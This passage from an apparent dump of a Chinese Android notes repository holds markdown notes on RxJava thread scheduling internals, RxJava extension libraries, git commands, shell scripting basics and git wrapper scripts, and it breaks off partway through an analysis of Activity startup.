schedule() {\n    if (counter.getAndIncrement() == 0) {\n        // 调用recursiveScheduler，而recursiveScheduler是通过参数传递过来的，该方法将所有的事件都切换到了recursiveScheduler对应的线程\n        // 这里将this传递进去了，所以最后会执行到当前的call()方法\n        recursiveScheduler.schedule(this);\n    }\n}\n```\n里面会调用`recursiveScheduler`，而该`recursiveScheduler`是通过构造函数初始化的:   \n```java\npublic ObserveOnSubscriber(Scheduler scheduler, Subscriber<? super T> child, boolean delayError, int bufferSize) {\n    this.child = child;\n    // 通过参数传递过来的Schedule创建对应的worker\n    this.recursiveScheduler = scheduler.createWorker();\n}\n```\n而在此处我们的示例代码中用到的`Scheduler`是`AndroidSchedulers.mainThread()`:    \n```java\npublic final class AndroidSchedulers {\n    private static final AtomicReference<AndroidSchedulers> INSTANCE = new AtomicReference<>();\n\n    private final Scheduler mainThreadScheduler;\n\n    private static AndroidSchedulers getInstance() {\n        for (;;) {\n            AndroidSchedulers current = INSTANCE.get();\n            if (current != null) {\n                return current;\n            }\n            current = new AndroidSchedulers();\n            if (INSTANCE.compareAndSet(null, current)) {\n                return current;\n            }\n        }\n    }\n\n    private AndroidSchedulers() {\n        RxAndroidSchedulersHook hook = RxAndroidPlugins.getInstance().getSchedulersHook();\n\n        Scheduler main = hook.getMainThreadScheduler();\n        if (main != null) {\n            mainThreadScheduler = main;\n        } else {\n            // 具体的实现类是LooperScheduler\n            mainThreadScheduler = new LooperScheduler(Looper.getMainLooper());\n        }\n    }\n\n    /** A {@link Scheduler} which executes actions on the Android UI thread. */\n    public static Scheduler mainThread() {\n        return getInstance().mainThreadScheduler;\n    }\n    ...\n}    \n```\n我们看到这里的具体的`Scheduler`的实现类是`LooperScheduler`:     \n```java\nclass LooperScheduler extends Scheduler {\n    private final Handler handler;\n\n    LooperScheduler(Looper looper) {\n        handler = new Handler(looper);\n    }\n\n    LooperScheduler(Handler handler) {\n        this.handler = handler;\n    }\n\n    @Override\n    public Worker createWorker() {\n        return new HandlerWorker(handler);\n    }\n\n    static class HandlerWorker extends Worker {\n        private final Handler handler;\n        private final RxAndroidSchedulersHook hook;\n        private volatile boolean unsubscribed;\n\n        HandlerWorker(Handler handler) {\n            this.handler = handler;\n            this.hook = RxAndroidPlugins.getInstance().getSchedulersHook();\n        }\n\n        @Override\n        public void unsubscribe() {\n            unsubscribed = true;\n            handler.removeCallbacksAndMessages(this /* token */);\n        }\n\n        @Override\n        public boolean isUnsubscribed() {\n            return unsubscribed;\n        }\n\n        @Override\n        public Subscription schedule(Action0 action, long delayTime, TimeUnit unit) {\n            if (unsubscribed) {\n                return Subscriptions.unsubscribed();\n            }\n\n            action = hook.onSchedule(action);\n\n            ScheduledAction scheduledAction = new ScheduledAction(action, handler);\n\n            Message message = Message.obtain(handler, scheduledAction);\n            message.obj = this; // Used as token for unsubscription operation.\n\n            handler.sendMessageDelayed(message, unit.toMillis(delayTime));\n\n            if (unsubscribed) {\n                handler.removeCallbacks(scheduledAction);\n                return Subscriptions.unsubscribed();\n            }\n\n            return scheduledAction;\n        }\n\n        @Override\n        public Subscription schedule(final Action0 action) {\n            return schedule(action, 0, TimeUnit.MILLISECONDS);\n        }\n    }\n\n    static final class ScheduledAction implements Runnable, Subscription {\n        private final Action0 action;\n        private final Handler handler;\n        private volatile boolean unsubscribed;\n\n        ScheduledAction(Action0 action, Handler handler) {\n            this.action = action;\n            this.handler = handler;\n        }\n\n        @Override public void run() {\n            try {\n                action.call();\n            } catch (Throwable e) {\n                // nothing to do but print a System error as this is fatal and there is nowhere else to throw this\n                IllegalStateException ie;\n                if (e instanceof OnErrorNotImplementedException) {\n                    ie = new IllegalStateException(\"Exception thrown on Scheduler.Worker thread. Add `onError` handling.\", e);\n                } else {\n                    ie = new IllegalStateException(\"Fatal Exception thrown on Scheduler.Worker thread.\", e);\n                }\n                RxJavaPlugins.getInstance().getErrorHandler().handleError(ie);\n                Thread thread = Thread.currentThread();\n                thread.getUncaughtExceptionHandler().uncaughtException(thread, ie);\n            }\n        }\n\n        @Override public void unsubscribe() {\n            unsubscribed = true;\n            handler.removeCallbacks(this);\n        }\n\n        @Override public boolean isUnsubscribed() {\n            return unsubscribed;\n        }\n    }\n}\n```\n他里面对应的`Worker`是`HandlerWorker`，他里面也是通过`ScheduledAction`来实现的，他实现了`Runnable`接口。通过主线程的`MainLooper`创建一个`Handler`然后去执行`ScheduledAction`中的`run()`方法。然后在`run()`方法中调用了`ObserveOnSubscriber.call()`，这便是它实现线程切换的原理。\n\n\n更多内容请看下一篇文章[RxJava详解(七)][1]\n\n\n[1]: https://github.com/CharonChui/AndroidNote/blob/master/RxJavaPart/7.RxJava%E7%B3%BB%E5%88%97%E5%85%A8%E5%AE%B6%E6%A1%B6.md \"RxJava全家桶\"\n\n\n---\n\n- 邮箱 ：charon.chui@gmail.com  \n- Good Luck! "
  },
  {
    "path": "docs/android/AndroidNote/RxJavaPart/7.RxJava系列全家桶.md",
    "content": "`RxJava Android`开发全系列\n===\n\n有关`RxJava`的介绍请看[RxJava详解系列][1]\n\n要说16年`android`开发中要说那个应用最流行，那就是`RxJava`了，现在越来越多的`android`项目都会用到`RxJava`，下面就介绍一些`RxJava`必备的扩张库。 \n\n`RxAndroid`\n---\n\n[RxAndroid](https://github.com/ReactiveX/RxAndroid)\n\n> Android specific bindings for RxJava.\n\n> This module adds the minimum classes to RxJava that make writing reactive components in Android applications easy and hassle-free. More specifically, it provides a Scheduler that schedules on the main thread or any given Looper.\n\n`Android`中使用`RxJava`的必备类库，虽然里面提供的内容并不多只有`AndroidSchedulers`、`HandlerScheduler`、`LooperScheduler`，但是这些确是`Android`开发中的精髓。 \n\n`RxLifecycle`\n---\n\n[RxLifecycle](https://github.com/trello/RxLifecycle)\n\n> The utilities provided here allow for automatic completion of sequences based on Activity or Fragment lifecycle events. This capability is useful in Android, where incomplete subscriptions can cause memory leaks.\n\n`RxLifecycle`提供了一些配合`Activity`、`Fragment`生命周期使用的订阅管理的相关功能。例如使用`RxJava`执行一些耗时的操作，但是在执行过程中，用户退出了当前`Activity`，这时如果`Observable`未取消订阅就会导致内存泄漏，而`RxLifecycle`就是为了接着这些问题的。在`Activity`销毁的时候`RxLifecycle`会自动取消订阅。   \n\n`RxBinding`\n---\n\n[RxBinding](https://github.com/JakeWharton/RxBinding)\n\n> RxJava binding APIs for Android UI widgets from the platform and support libraries.\n\n`RxBinding`是把`Android`中`UI`事件转换为`RxJava`的方式，例如点击时间，每次点击后`Observable`的订阅者`Observer`都会通过`onNext()`回调得知。  \n\n`Retrofit`\n---\n\n[Retrofit](https://github.com/square/retrofit)\n\n> Type-safe HTTP client for Android and Java by Square, Inc.\n\n良心企业`Square`出品的一个基于`OkHttp`的网络请求类库，完美支持`RxJava`。 \n\n`SqlBrite`\n---\n\n[SQLBrite](https://github.com/square/sqlbrite)\n\n> A lightweight wrapper around SQLiteOpenHelper and ContentResolver which introduces reactive stream semantics to queries.\n\n良心企业`Square`出品的一个支持`RxJava`的`Sqlite`数据库的操作库。 \n\n`RxPermissions`\n\n[RxPermissions)](https://github.com/tbruyelle/RxPermissions)\n\n> This library allows the usage of RxJava with the new Android M permission model.\n\n`Android M`上动态权限申请的类库。\n\n\n[1]: https://github.com/CharonChui/AndroidNote/tree/master/RxJavaPart \"RxJava详解系列\"\n\n- 邮箱 ：charon.chui@gmail.com  \n- Good Luck! \n"
  },
  {
    "path": "docs/android/AndroidNote/ScriptNote/GitHub基础操作.md",
    "content": "> 虽然以前也有一些git的基础，但是好久不用了，基本也都忘没了，而且以前用图形化界面的工具比较多，最近决定多用用命令行吧，感觉命令行还是挺好用的。\n\n最近在mac上面装了iterm2感觉挺好用的，还支持各种扩展，挺好的。[iterm2下载链接](http://www.iterm2.com/)\n\n----\n就不做什么过多的介绍了，github也这么多年了，还是不错的，而且今天打算记录的也是git的命令，等以后会用到更多的命令的时候也会更新这篇博客的。\n\n----\n\n| 命令        | 含义           |\n| ------------- |:-------------:|\n|git branch      | 查看本地所有分支  |\n|git status       |查看当前状态          | \n|git commit     | 提交                        |\n|git branch -a |查看所有的分支       |\n|git branch -r  |查看远程所有分支   |\n|git commit -m \"注释\"| 提交并加注释|\n|git push origin master|将分支推送到服务器上|\n|git remote show origin|显示远程库里面的资源|\n|git remote -v|查看远程仓库|\n|git checkout dev|建立一个新的本地分支|\n|git merge origin/dev|将分支dev与当前分支进行合并|\n|git checkout dev|切换到本地dev分支|\n|git remote show|查看远程库|\n|git add .|将修改全部添加进去|\n|git rm 文件名|删除指定文件|\n|git pull|将本地代码与服务器同步|\n|git push origin master|将本地项目提交到服务器中|\n|git clone|将代码克隆到本地|\n|git checkout [name]|切换分支|\n|git push origin --delete [name]|删除远程分支|\n----\n\n![github](http://upload-images.jianshu.io/upload_images/2585384-2a10c46f536c94a8.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)\n以上就是总结给自己看的吧，如果大家有什么疑问也可以留言问，我有空也会介绍一下原理和与其它版本控制工具的对比\n\n\n较为简单的上传本地代码到GitHub：\n````\ngit init\ngit remote add [shortname] [url]\ngit pull origin master\ngit add .\ngit commit -m \"description\"\ngit push origin master\n````\n\n```\n修改本地用户\n\ngit config --global user.name \"youname\"\ngit config --global user.email \"youeamil@email.com\"\n```\n\n\n"
  },
  {
    "path": "docs/android/AndroidNote/ScriptNote/一篇文章学懂Shell脚本.md",
    "content": "# 一篇文章学懂Shell脚本\n\n\n\n> 作者：https://github.com/linsir6\n\n> 原文：http://www.jianshu.com/p/6f6330b0ab60\n\n\n\n> Shell脚本,就是利用Shell的命令解释的功能，对一个纯文本的文件进行解析，然后执行这些功能，也可以说Shell脚本就是一系列命令的集合。\n> Shell可以直接使用在win/Unix/Linux上面，并且可以调用大量系统内部的功能来解释执行程序，如果熟练掌握Shell脚本，可以让我们操作计算机变得更加轻松，也会节省很多时间。\n\n## Shell应用场景\n### Shell能做什么\n- 将一些复杂的命令简单化(平时我们提交一次github代码可能需要很多步骤，但是可以用Shell简化成一步)\n- 可以写一些脚本自动实现一个工程中自动更换最新的sdk(库)\n- 自动打包、编译、发布等功能\n- 清理磁盘中空文件夹\n- 总之一切有规律的活脚本都可以尝试一下\n\n### Shell不能做什么\n- 需要精密的运算的时候\n- 需要语言效率很高的时候\n- 需要一些网络操作的时候\n- 总之Shell就是可以快速开发一个脚本简化开发流程，并不可以用来替代高级语言\n\n\n----\n\n## Shell的工作原理\nShell可以被称作是脚本语言，因为它本身是不需要编译的，而是通过解释器解释之后再编译执行，和传统语言相比多了解释的过程所以效率会略差于传统的直接编译的语言。\n\n----\n\n## 最简单的脚本:\n```\n#!/bin/bash\necho \"Hello World\"\n```\n只需要打开文本编辑工具，编辑成以上的样子,然后保存成test.sh\n### 运行该脚本：\n```\n1. cd 到该目录下\n2. chmod +x ./test.sh  #给脚本权限\n3. ./test.sh  #执行脚本\n```\n\n![效果图1](http://upload-images.jianshu.io/upload_images/2585384-c1628de457ae0f6a.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)\n\n这样我们便写出来了第一个最简单的脚本，下面我们可以尝试着写一些复杂的脚本。\n\n----\n\n## Shell中的变量\n```\nmyText=\"hello world\"\nmuNum=100\n```\n这里面需要注意的就是，“=”前后不能有空格，命名规则就和其它语言一样了。\n\n\n### 访问变量\n```\nmyText=\"hello world\"\nmuNum=100\necho $myText\necho muNum\n```\n当想要访问变量的时候，需要使用$，否则输出的将是纯文本内容，如下图所示。\n\n\n![效果图2](http://upload-images.jianshu.io/upload_images/2585384-d577f0073ae7ab8d.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)\n\n### Shell中的四则运算\n\n\n| 运算符  | 含义   |\n| ---- | ---- |\n| +    | 加法运算 |\n| -    | 减法运算 |\n| *    | 乘法运算 |\n| /    | 除法运算 |\n\n#### 例子程序\n```\n#!/bin/bash\necho \"Hello World !\"\na=3\nb=5\nval=`expr $a + $b`\necho \"Total value : $val\"\n\nval=`expr $a - $b`\necho \"Total value : $val\"\n\nval=`expr $a \\* $b`\necho \"Total value : $val\"\n\nval=`expr $a / $b`\necho \"Total value : $val\"\n\n```\n这里面需要注意的就是，定义变量的时候“=”前后是不能有空格的，但是进行四则运算的时候运算符号前后一定要有空格，乘法的时候需要进行转义。\n\n![效果图3.png](http://upload-images.jianshu.io/upload_images/2585384-1fa00187b6a49e41.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)\n\n----\n\n### 其它运算符 =、==、!=、！、-o、-a\n| 运算符  | 含义   |\n| ---- | ---- |\n| %    | 求余   |\n| ==   | 相等   |\n| =    | 赋值   |\n| !=   | 不相等  |\n| !    | 非    |\n| -o   | 或    |\n| -a   | 与    |\n\n#### 例子程序\n\n```\na=3\nb=5\nval=`expr $a / $b`\necho \"Total value : $val\"\n\nval=`expr $a % $b`\necho \"Total value : $val\"\n\nif [ $a == $b ]\nthen\n   echo \"a is equal to b\"\nfi\nif [ $a != $b ]\nthen\n   echo \"a is not equal to b\"\nfi\n```\n\n\n![效果图4](http://upload-images.jianshu.io/upload_images/2585384-f11e2104f2e94264.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)\n\n----\n\n### 关系运算符\n\n\n| 运算符  | 含义               |\n| ---- | ---------------- |\n| -eq  | 两个数相等返回true      |\n| -ne  | 两个数不相等返回true     |\n| -gt  | 左侧数大于右侧数返回true   |\n| -It  | 左侧数小于右侧数返回true   |\n| -ge  | 左侧数大于等于右侧数返回true |\n| -le  | 左侧数小于等于右侧数返回true |\n\n#### 例子程序\n\n```\n#!/bin/sh\na=10\nb=20\nif [ $a -eq $b ]\nthen\n   echo \"true\"\nelse\n   echo \"false\"\nfi\n\nif [ $a -ne $b ]\nthen\n   echo \"true\"\nelse\n   echo \"false\"\nfi\n\nif [ $a -gt $b ]\nthen\n   echo \"true\"\nelse\n   echo \"false\"\nfi\n\nif [ $a -lt $b ]\nthen\n   echo \"true\"\nelse\n   echo \"false\"\nfi\n\nif [ $a -ge $b ]\nthen\n   echo \"true\"\nelse\n   echo \"false\"\nfi\n\nif [ $a -le $b ]\nthen\n   echo \"true\"\nelse\n   echo \"false\"\nfi\n\n```\n\n\n![效果图5](http://upload-images.jianshu.io/upload_images/2585384-0557ccc5ee33fe82.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)\n\n----\n\n### 字符串运算符\n\n| 运算符  | 含义             |\n| ---- | -------------- |\n| =    | 两个字符串相等返回true  |\n| !=   | 两个字符串不相等返回true |\n| -z   | 字符串长度为0返回true  |\n| -n   | 字符串长度不为0返回true |\n\n----\n\n\n| 运算符     | 含义                            |\n| ------- | ----------------------------- |\n| -d file | 检测文件是否是目录，如果是，则返回 true        |\n| -r file | 检测文件是否可读，如果是，则返回 true         |\n| -w file | 检测文件是否可写，如果是，则返回 true         |\n| -x file | 检测文件是否可执行，如果是，则返回 true        |\n| -s file | 检测文件是否为空（文件大小是否大于0，不为空返回 true |\n| -e file | 检测文件（包括目录）是否存在，如果是，则返回 true   |\n\n----\n\n### 字符串\n\n```\n#!/bin/sh\nmtext=\"hello\"  #定义字符串\nmtext2=\"world\"\nmtext3=$mtext\" \"$mtext2  #字符串的拼接\necho $mtext3  #输出字符串\necho ${#mtext3}  #输出字符串长度\necho ${mtext3:1:4}  #截取字符串\n\n```\n\n\n![效果图6](http://upload-images.jianshu.io/upload_images/2585384-c25dda4dad4b77ab.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)\n\n----\n\n### 数组\n\n```\n#!/bin/sh\narray=(1 2 3 4 5)  #定义数组\narray2=(aa bb cc dd ee)  #定义数组\nvalue=${array[3]}  #找到某一个下标的数，然后赋值\necho $value  #打印\nvalue2=${array2[3]}  #找到某一个下标的数，然后赋值\necho $value2  #打印\nlength=${#array[*]}  #获取数组长度\necho $length\n\n```\n\n\n\n![效果图7](http://upload-images.jianshu.io/upload_images/2585384-4ca5a24ebd885f5b.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)\n\n----\n\n### 输出程序\n\n#### echo\n\n```\n#!/bin/sh\necho \"hello world\"  \necho hello world  \n\ntext=\"hello world\"\necho $text\n\necho -e \"hello \\nworld\"  #输出并且换行\n\necho \"hello world\" > a.txt  #重定向到文件\n\necho `date`  #输出当前系统时间\n\n```\n\n\n![效果图8](http://upload-images.jianshu.io/upload_images/2585384-f14eedb60b83aec6.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)\n\n#### printf\n\n同c语言，就不过多介绍了\n\n----\n\n\n## 判断语句\n\n- if\n- if-else\n- if-elseIf\n- case\n\n```\n\n#!/bin/sh\na=10\nb=20\nif [ $a == $b ]\nthen\n   echo \"true\"\nfi\n\n\nif [ $a == $b ]\nthen\n   echo \"true\"\nelse\n   echo \"false\"\nfi\n\n\nif [ $a == $b ]\nthen\n   echo \"a is equal to b\"\nelif [ $a -gt $b ]\nthen\n   echo \"a is greater than b\"\nelif [ $a -lt $b ]\nthen\n   echo \"a is less than b\"\nelse\n   echo \"None of the condition met\"\nfi\n\n```\n\n\n![效果图9](http://upload-images.jianshu.io/upload_images/2585384-6a47bebed61b38b5.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)\n\n----\n\n## test命令\n\n```\ntest $[num1] -eq $[num2]  #判断两个变量是否相等\ntest num1=num2  #判断两个数字是否相等\n```\n\n| 参数      | 含义              |\n| ------- | --------------- |\n| -e file | 文件存在则返回真        |\n| -r file | 文件存在并且可读则返回真    |\n| -w file | 文件存在并且可写则返回真    |\n| -x file | 文件存在并且可执行则返回真   |\n| -s file | 文件存在并且内容不为空则返回真 |\n| -d file | 文件目录存在则返回真      |\n\n----\n\n## for循环\n\n```\n#!/bin/sh\n\nfor i in {1..5}\ndo\n    echo $i\ndone\n\n\nfor i in 5 6 7 8 9\ndo\n    echo $i\ndone\n\n\nfor FILE in $HOME/.bash*\ndo\n   echo $FILE\ndone\n\n```\n\n\n![效果10](http://upload-images.jianshu.io/upload_images/2585384-0b2477f1220ca220.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)\n\n----\n\n## while循环\n\n```\n#!/bin/sh\nCOUNTER=0\nwhile [ $COUNTER -lt 5 ]\ndo\n    COUNTER=`expr $COUNTER + 1`\n    echo $COUNTER\ndone\n\necho '请输入。。。'\necho 'ctrl + d 即可停止该程序'\nwhile read FILM\ndo\n    echo \"Yeah! great film the $FILM\"\ndone\n\n\n```\n以上是while循环的两种用法，第一种是比较常规的，执行循环，然后每次都把控制的数加1，就可以让while循环有退出的条件了。\n第二种是用户从键盘数据，然后把用户输入的文字输出出来。\n\n----\n\n## 跳出循环\n```\nbreak  #跳出所有循环\nbreak n  #跳出第n层f循环\ncontinue  #跳出当前循环\n```\n\n----\n\n## 函数\n```\n#!/bin/sh\n\nsysout(){\n    echo \"hello world\"\n}\n\nsysout\n\n```\n\n定义一个没有返回值的函数，然后调用该函数\n\n```\n#!/bin/sh\n\ntest(){\n\n    aNum=3\n    anotherNum=5\n    return $(($aNum+$anotherNum))\n}\ntest\nresult=$?\necho $result\n\n```\n\n定义一个有返回值的函数，调用该函数，输出结果\n\n\n![效果图11](http://upload-images.jianshu.io/upload_images/2585384-2ec8061b08fdac97.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)\n\n\n```\n#!/bin/sh\n\ntest(){\n    echo $1  #接收第一个参数\n    echo $2  #接收第二个参数\n    echo $3  #接收第三个参数\n    echo $#  #接收到参数的个数\n    echo $*  #接收到的所有参数\n}\n\ntest aa bb cc\n\n```\n\n定义了一个需要传递参数的函数\n\n\n![效果图12](http://upload-images.jianshu.io/upload_images/2585384-d8a89a9c36bbc65f.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)\n\n----\n\n## 重定向\n```\n$echo result > file  #将结果写入文件，结果不会在控制台展示，而是在文件中，覆盖写\n$echo result >> file  #将结果写入文件，结果不会在控制台展示，而是在文件中，追加写\necho input < file  #获取输入流\n```\n\n----\n\n## 写一个自动输入命令的脚本\n\n### 自动提交github仓库的脚本\n\n```\n#!/bin/bash\necho \"-------Begin-------\"\ngit add .\ngit commit -m $1\necho $1\ngit push origin master\necho \"--------End--------\"\n\n```\n\n\n![效果图13](http://upload-images.jianshu.io/upload_images/2585384-5bcd11dbb8142f52.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)\n\n----\n\n以上便是我对shell知识的总结，欢迎大家点心，评论，一起讨论~~\n\n\n\n"
  },
  {
    "path": "docs/android/AndroidNote/ScriptNote/封装一些GitHub常用命令.md",
    "content": "# 封装一些GitHub常用命令\n\n\n我们在日常的开发过程中，肯定会经常要用到一些代码版本控制工具，其中较为常用的如GitHub，当然GitHub的命令已经比较精简了，不过依照我们每个人的个人习惯不同还是可以进行一些简单的封装的。\n\n## 封装一些适用于**某个项目**的命令\n\n比如说，我最近一直在维护一个开源的[Android笔记的项目](https://github.com/linsir6/AndroidNote)，这样我每天可能都会有很多次的提交，每次提交可能输入的都是那么几个命令：\n\n```\ncd /Users/mac/WorkSpace/git_android_notes\ngit pull\ngit add .\ngit commit -m \"description\"\ngit push origin master\n```\n\n虽然命令不是非常复杂，但是每次都需要手动输入，还是很麻烦的，所以如果我们能将其封装成一句命令就非常nice了，例如：\n\n```\npush description XXX XXX\n```\n\n其实做这样一个封装是非常简单的，但是可以帮我们省很多事情。\n如果您对Shell的基本命令还不是很了解，请参考[Shell脚本入门](https://github.com/linsir6/AndroidNote/blob/master/Shell%E8%84%9A%E6%9C%AC%E7%9B%B8%E5%85%B3/%E4%B8%80%E7%AF%87%E6%96%87%E7%AB%A0%E5%AD%A6%E6%87%82Shell%E8%84%9A%E6%9C%AC.md)\n\n我们看一下，shell脚本的代码：\n\n```\ncd /Users/mac/WorkSpace/git_android_notes\n\necho \"begin it ...\"\n\ngit pull\ngit add .\n\ngit commit -m \"$*\"\t\n\necho $*\n\t\t\ngit push origin master\n\necho \"finish it ...\"\n```\n\n只要通过这样简单的封装，我们就可以实现我们，一行命令上传脚本的想法啦～\n\n\n## 封装一些具有普适性的代码\n\n- **进入到工作空间目录**\n\n封装前: ``cd /Users/mac/WorkSpace``\n封装后: ``. me``\n\nshell脚本代码:\n\n```\ncd ~/WorkSpace\n```\n\n----\n\n- **拉取远程仓库代码**\n\n封装前: ``git pull 或 git pull origin XXX``\n封装后: ``pull 或 pull XXX``\n\nshell脚本代码:\n\n```\nif [ \"$1\" = \"\" ]\nthen\n\tgit branch --set-upstream-to=origin/master master\n\tgit pull\n\nelse\n\tgit pull origin $1\nfi\n```\n\n----\n\n- **提交代码到远程仓库**\n\n封装前: \n\n```\ngit pull\ngit add .\ngit commit -m \"description\"\ngit push origin master \n```\n\n封装后: ``push master \"description\"``\n\nshell脚本代码:\n\n```\ngit pull\ngit add .\ntemp=$1\nshift\ngit commit -m \"$*\"\ngit push origin $temp\n```\n\n----\n\n当然，这里面只介绍了几种简单的封装，大家可以按照自己的需求，进行一些封装～\n\n\n\n\n"
  },
  {
    "path": "docs/android/AndroidNote/ScriptNote/简单的Shell脚本.md",
    "content": "# 封装一些简单的Shell脚本\n\n> 作者：https://github.com/linsir6\n>\n> 原文：http://www.jianshu.com/p/6f6330b0ab60\n\n\n\n自从上次发完[一篇有关Shell的脚本的文章](http://www.jianshu.com/p/71cb62f08768)之后取得了很大程度的反响，阅读量达到了6280，喜欢达到了300+，同时被收入了特别多的专题，如下图所示，所以打算再展示几个我封装的简单的脚本。\n\n\n\n![展示图](https://ws3.sinaimg.cn/large/006tKfTcly1fg143yrx6dj311g05kjrg.jpg)\n\n\n\n![效果图](https://ws3.sinaimg.cn/large/006tKfTcly1fg145mbfayj310k0le75z.jpg)\n\n\n\n因为一般热爱编程的人，大多选择GitHub作为代码管理工具，我本人更喜欢用命令行来操作GitHub，然后有一些常用的命令时经常被用到的，所以可以对他们进行简单的封装，这样即使每天提交个十几次代码，也不会很麻烦。\n\n\n\n一些常用的操作：\n\n```sh\ncd ~/WorkSpace\n\ngit pull\n\ngit pull origin master\n\ngit status\n\ngit branch\n\ngit push origin master\n\ngit checkout master\n\ngit init\ngit remote add origin url\ngit pull\n\ngit branch --set-upstream-to=origin/master master\n\n```\n\n\n\n当然常用的命令肯定不止这些，不过我们只要掌握好，简单的封装之后，就可以很轻松的封装一个命令了。\n\n如果你没有什么Shell方面的基础，不妨先看看我的另一篇文章  [一篇文章学懂Shell脚本](http://www.jianshu.com/p/71cb62f08768)  ，再返回来看这篇文章。\n\n\n\n以一个简单的为例：\n\n1. 我们先新建一个脚本：``touch me``\n\n2. 给脚本权限：``chmod +x me``\n\n3. 然后编写指令\n\n   ```SHell\n   #!/bin/bash\n   cd ~/WorkSpace\n   ```\n\n4. 如果我们想这个命令在哪里都可以应用，需要将当前目录添加到系统目录下，或直接将脚本放在系统文件夹内\n\n\n\n然后我们便可以在命令窗口里通过```. me```来进入我们的文件夹下面里，这里面需要加一个```. ```是因为我们要让效果展示出来，否则它会内部创建一个子脚本进入，然后退出的。\n\n----\n\n\n\n自动push的脚本：\n\n```shell\n#!/bin/bash\ngit pull origin $2\ngit add .\ngit commit -m $1\ngit push origin $2\n\n```\n\n我们需要通过```push \"fix\" master```可以指定描述，指定执行上传到的分支。\n\n\n\n----\n\n\n\n自动pull的脚本：\n\n```shell\n#!/bin/bash\nif [ \"$1\" = \"\" ]\nthen\n\tgit branch --set-upstream-to=origin/master master\n\tgit pull\n\nelse\n\tgit pull origin $1\nfi\n\n```\n\n我们可以通过```pull```命令就可以执行```git pull```，通过```pull master```就可以将远程仓库中的master分支pull回来。\n\n\n\n----\n\n\n\n创建git仓库的脚本：\n\n```shell\n#!/bin/bash\ngit init\ngit remote add origin $1\npull\n\n```\n\n\n\n\n\n\n\n"
  },
  {
    "path": "docs/android/AndroidNote/SourceAnalysis/Activity启动过程.md",
    "content": "Activity启动过程\n===\n\n前两天面试了天猫的开发，被问到了`Activity`启动过程，不懂啊....\n今天就来分析一下，我们开启`Activity`主要有两种方式:    \n\n- 通过桌面图标启动，桌面就是`Launcher`其实他也是一个应用程序，他也是继承`Activity`。\n- 在程序内部调用`startActivity()`开启。\n\n而`Launcher`点击图标其实也是调用了`Activity`的`startActivity()`方法，所以我们就从`startActivity()`方法入手了。     \n首先看一下`Activity`类中的`startActivity()`方法:    \n```java\n@Override\npublic void startActivity(Intent intent) {\n\tthis.startActivity(intent, null);\n}\n```\n继续看`startActivity(intent, null)`:    \n```java\n/**\n * Launch a new activity.  You will not receive any information about when\n * the activity exits.  This implementation overrides the base version,\n * providing information about\n * the activity performing the launch.  Because of this additional\n * information, the {@link Intent#FLAG_ACTIVITY_NEW_TASK} launch flag is not\n * required; if not specified, the new activity will be added to the\n * task of the caller.\n *\n * <p>This method throws {@link android.content.ActivityNotFoundException}\n * if there was no Activity found to run the given Intent.\n *\n * @param intent The intent to start.\n * @param options Additional options for how the Activity should be started.\n * See {@link android.content.Context#startActivity(Intent, Bundle)\n * Context.startActivity(Intent, Bundle)} for more details.\n *\n * @throws android.content.ActivityNotFoundException\n *\n * @see {@link #startActivity(Intent)}\n * @see #startActivityForResult\n */\n@Override\npublic void startActivity(Intent intent, @Nullable Bundle options) {\n\tif (options != null) {\n\t\tstartActivityForResult(intent, -1, options);\n\t} else {\n\t\t// Note we want to go through this call for compatibility with\n\t\t// applications that may have overridden the method.\n\t\tstartActivityForResult(intent, -1);\n\t}\n}\n```\n接下来会调用`startActivityForResult()`方法(注释也很重要啊，里面也说明了singleTask启动模式时该方法不会走到回调中):     \n```java\n/**\n * Launch an activity for which you would like a result when it finished.\n * When this activity exits, your\n * onActivityResult() method will be called with the given requestCode.\n * Using a negative requestCode is the same as calling\n * {@link #startActivity} (the activity is not launched as a sub-activity).\n *\n * <p>Note that this method should only be used with Intent protocols\n * that are defined to return a result.  In other protocols (such as\n * {@link Intent#ACTION_MAIN} or {@link Intent#ACTION_VIEW}), you may\n * not get the result when you expect.  For example, if the activity you\n * are launching uses the singleTask launch mode, it will not run in your\n * task and thus you will immediately receive a cancel result.\n *\n * <p>As a special case, if you call startActivityForResult() with a requestCode\n * >= 0 during the initial onCreate(Bundle savedInstanceState)/onResume() of your\n * activity, then your window will not be displayed until a result is\n * returned back from the started activity.  This is to avoid visible\n * flickering when redirecting to another activity.\n *\n * <p>This method throws {@link android.content.ActivityNotFoundException}\n * if there was no Activity found to run the given Intent.\n *\n * @param intent The intent to start.\n * @param requestCode If >= 0, this code will be returned in\n *                    onActivityResult() when the activity exits.\n * @param options Additional options for how the Activity should be started.\n * See {@link android.content.Context#startActivity(Intent, Bundle)\n * Context.startActivity(Intent, Bundle)} for more details.\n *\n * @throws android.content.ActivityNotFoundException\n *\n * @see #startActivity\n */\npublic void startActivityForResult(Intent intent, int requestCode, @Nullable Bundle options) {\n\t// mParent也是Activity类，通过名字就能看明白了。\n\tif (mParent == null) {\n\t\t// 开始了啊\n\t\tInstrumentation.ActivityResult ar =\n\t\t\tmInstrumentation.execStartActivity(\n\t\t\t\tthis, mMainThread.getApplicationThread(), mToken, this,\n\t\t\t\tintent, requestCode, options);\n\t\tif (ar != null) {\n\t\t\tmMainThread.sendActivityResult(\n\t\t\t\tmToken, mEmbeddedID, requestCode, ar.getResultCode(),\n\t\t\t\tar.getResultData());\n\t\t}\n\t\tif (requestCode >= 0) {\n\t\t\t// If this start is requesting a result, we can avoid making\n\t\t\t// the activity visible until the result is received.  Setting\n\t\t\t// this code during onCreate(Bundle savedInstanceState) or onResume() will keep the\n\t\t\t// activity hidden during this time, to avoid flickering.\n\t\t\t// This can only be done when a result is requested because\n\t\t\t// that guarantees we will get information back when the\n\t\t\t// activity is finished, no matter what happens to it.\n\t\t\tmStartedActivity = 